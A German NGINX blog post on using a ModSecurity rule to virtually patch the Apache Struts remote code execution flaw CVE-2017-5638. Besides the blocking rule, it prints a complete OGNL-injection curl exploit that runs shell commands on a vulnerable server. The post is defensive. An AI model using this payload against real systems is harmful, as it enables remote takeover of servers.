ModSecurity zum virtuellen Patchen von Apache Struts CVE-2017-5638 verwenden

Faisal MemonSoftwareentwickler

[Redaktion – Das NGINX ModSecurity WAF-Modul für NGINX Plus wurde zum 1. April 2022 offiziell aus dem Verkauf genommen und erreicht mit Wirkung zum 31. März 2024 sein Lebenszyklusende. Weitere Informationen finden Sie unter F5 NGINX ModSecurity WAF erreicht das Lebenszyklusende<.htmla> in unserem Blog.]

Viele Sicherheitslücken finden sich in Bibliotheken, die vom Anwendungscode verwendet werden. Wenn es nicht praktikabel ist, kurzfristig eine Fehlerbehebung für den Code in einer Bibliothek bereitzustellen, können Sie möglicherweise ModSecurity einsetzen, um einen Exploit abzufangen und den betroffenen Code so lange „virtuell zu patchen“, bis Sie die betroffenen Bibliotheken aktualisieren können.

Die Sicherheitslücke in der Apache-Struts-Anwendungsbibliothek (CVE-2017-5638), die zur Kompromittierung von 143 Millionen Konten bei Equifax führte, ist ein Beispiel für einen Exploit, der sich virtuell patchen lässt. Die Sicherheitslücke ist am Vorhandensein der Zeichenfolgen #cmd= oder #cmds= in den HTTP-Headern Content-Type, Content-Disposition oder Content-Length zu erkennen. (Weitere Einzelheiten finden Sie weiter unten.)

Mit ModSecurity können wir einen virtuellen Patch mit einer einfachen Regel erstellen, die in den betroffenen HTTP-Headern nach den schädlichen Zeichenfolgen sucht:

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

Wir definieren die Regel mit SecRule, wobei wir drei Parameter angeben:

1. Die zu durchsuchenden Anfrage-Header in Form von drei mit ODER verknüpften REQUEST_HEADERS-Variablen
2. The PERL‑compatible regular expression (PCRE), as specified by @rx, that searches the specified request headers for strings including #cmd= or #cmds=
3. Die auszuführende Aktion

Wenn ModSecurity im aktiven Blockierungsmodus konfiguriert ist, verwirft es jeglichen Datenverkehr, der dem PCRE entspricht und dadurch die Regel auslöst.

Erfahren Sie in unserem E-Book, wie Sie NGINX und ModSecurity gemeinsam einsetzen: ModSecurity 3.0 und NGINX: Schnellstartanleitung

Warum virtuelles Patching?

In vielen Fällen lässt sich eine Regel in ModSecurity schneller bereitstellen, als den betroffenen Code zu patchen, erneut zu testen und anschließend in der Produktionsumgebung bereitzustellen.

Nehmen wir als Beispiel die Sicherheitslücke in Apache Struts: Da Struts eine Anwendungsbibliothek und kein Betriebssystempaket ist, kann die Aktualisierung in einer produktiven Unternehmensumgebung einige Zeit in Anspruch nehmen. Im Zuge des Upgrades auf eine neue Struts-Version muss jede von Struts abhängige Anwendung mit der neuesten Struts-Bibliothek neu erstellt und getestet werden. Ein großes Unternehmen verfügt möglicherweise über Hunderte von Anwendungen, die jeweils eine eigene Version der Struts-Anwendungsbibliothek verwenden. Dadurch bleibt das Unternehmen anfällig, bis wirklich jede einzelne Anwendung aktualisiert wurde.

Wenn die benutzerdefinierte ModSecurity-Regel eingerichtet ist, können Sie die Produktionssoftware sorgfältig und innerhalb eines angemessenen Zeitrahmens patchen, ohne dabei unter dem Druck einer bestehenden Sicherheitslücke zu stehen. Sobald die gesamte betroffene Software aktualisiert wurde, kann die benutzerdefinierte Regel außer Betrieb genommen werden.

So funktioniert der Exploit für CVE-2017-5638

Apache Struts CVE-2017-5638 ist eine Sicherheitslücke, die eine Remotecodeausführung (Remote Code Execution, RCE) ermöglicht. Diese Art von Sicherheitslücke erlaubt es Angreifern, beliebige Befehle wie etwa /bin/bash oder cmd.exe auf Zielsystemen auszuführen. Dadurch können Angreifer anschließend das Dateisystem und das Netzwerk mit denselben Zugriffsrechten wie der Java-Anwendungsserver nach sensiblen Daten durchsuchen. Wird der Java-Anwendungsserver beispielsweise als root ausgeführt, verfügen Angreifer auf dem Zielsystem ebenfalls über root-Rechte.

Laut der offiziellen CVE-Beschreibung tritt die Schwachstelle auf, wenn ein Angreifer einen fehlerhaften Content-Type-, Content-Disposition- oder Content-Length-HTTP-Header sendet. Apache Struts löst eine Ausnahme aus, wenn diese HTTP-Header keinem der erwarteten Werte entsprechen. Das Problem entsteht, weil der Code zur Ausnahmebehandlung versucht, den ungültigen Header ohne Escape-Zeichen auszugeben. (In diesem Zusammenhang bedeutet „ohne Escape-Zeichen“, dass den verdächtigen Befehlen keine Zeichen vorangestellt werden, die ihre Ausführung verhindern – sogenannte Escape-Zeichen –, wie es bei der Ausgabe von Code normalerweise üblich ist.)

Der Angreifer kann einen Ausdruck der Object Graph Navigation Library (OGNL) in den Content-Type-Header einfügen. OGNL kann Systembefehle ausführen. Wenn der ungültige Header ohne Escape-Zeichen ausgegeben wird, wird der OGNL-Ausdruck ausgewertet und alle darin enthaltenen Systembefehle werden ausgeführt.

Exploits sind in der Regel eine Variante des folgenden Befehls „curl“.

curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

Die entscheidende Syntax befindet sich in der zweiten Hälfte des Befehls: jeweils eine Instanz der Zeichenfolgen #cmd= und #cmds= (oben hervorgehoben). Auf jede dieser Zeichenfolgen folgt der auszuführende Systembefehl.

Zusammenfassung

Die bevorzugte Lösung besteht immer darin, Sicherheitslücken in Software sofort zu schließen. Das Patchen von Produktivsoftware kann jedoch zeitaufwendig sein, und überstürzte Updates können Risiken bergen. Ein virtueller Patch für anfällige Software mit ModSecurity kann Zeit verschaffen.

Beim virtuellen Patchen erstellen Sie eine benutzerdefinierte ModSecurity-Regel, um Datenverkehr zu blockieren, der die Sicherheitslücke – beispielsweise CVE-2017-5638 – ausnutzen könnte. So schützen Sie Ihre Website vor dem Angriff. Anschließend können Sie die Produktionsserver sorgfältig und innerhalb eines angemessenen Zeitrahmens patchen, ohne befürchten zu müssen, in der Zwischenzeit Opfer eines Angriffs zu werden.

Wenn Sie mehr über ModSecurity und die NGINX ModSecurity WAF erfahren möchten, laden Sie bitte unser E-Book „ModSecurity 3.0 und NGINX: Schnellstartanleitung“ herunter.

Ressourcen

• CVE-2017-5638 – Die offizielle CVE-Mitteilung
• CVE-2017-5638: Anatomie der Apache-Struts-Sicherheitslücke – Ein wertvoller Überblick über die Sicherheitslücke
• Apache-Struts-Sicherheitsbulletin S2‑045 – Apache-Struts-Seite zur Sicherheitslücke mit einer Übergangslösung
• Nutzerkommentar im ArsTechnica-Forum – Erklärung, warum das Patchen von Apache Struts nicht einfach ist

[Das NGINX ModSecurity WAF-Modul für NGINX Plus wurde zum 1. April 2022 offiziell aus dem Verkauf genommen und erreicht mit Wirkung zum 31. März 2024 sein Lebensende. Weitere Informationen finden Sie unter „F5 NGINX ModSecurity WAF erreicht das Lebensende<.htmla>“ in unserem Blog.]

Über den Autor

Faisal MemonSoftwareentwickler

Weitere Blogbeiträge von Faisal Memon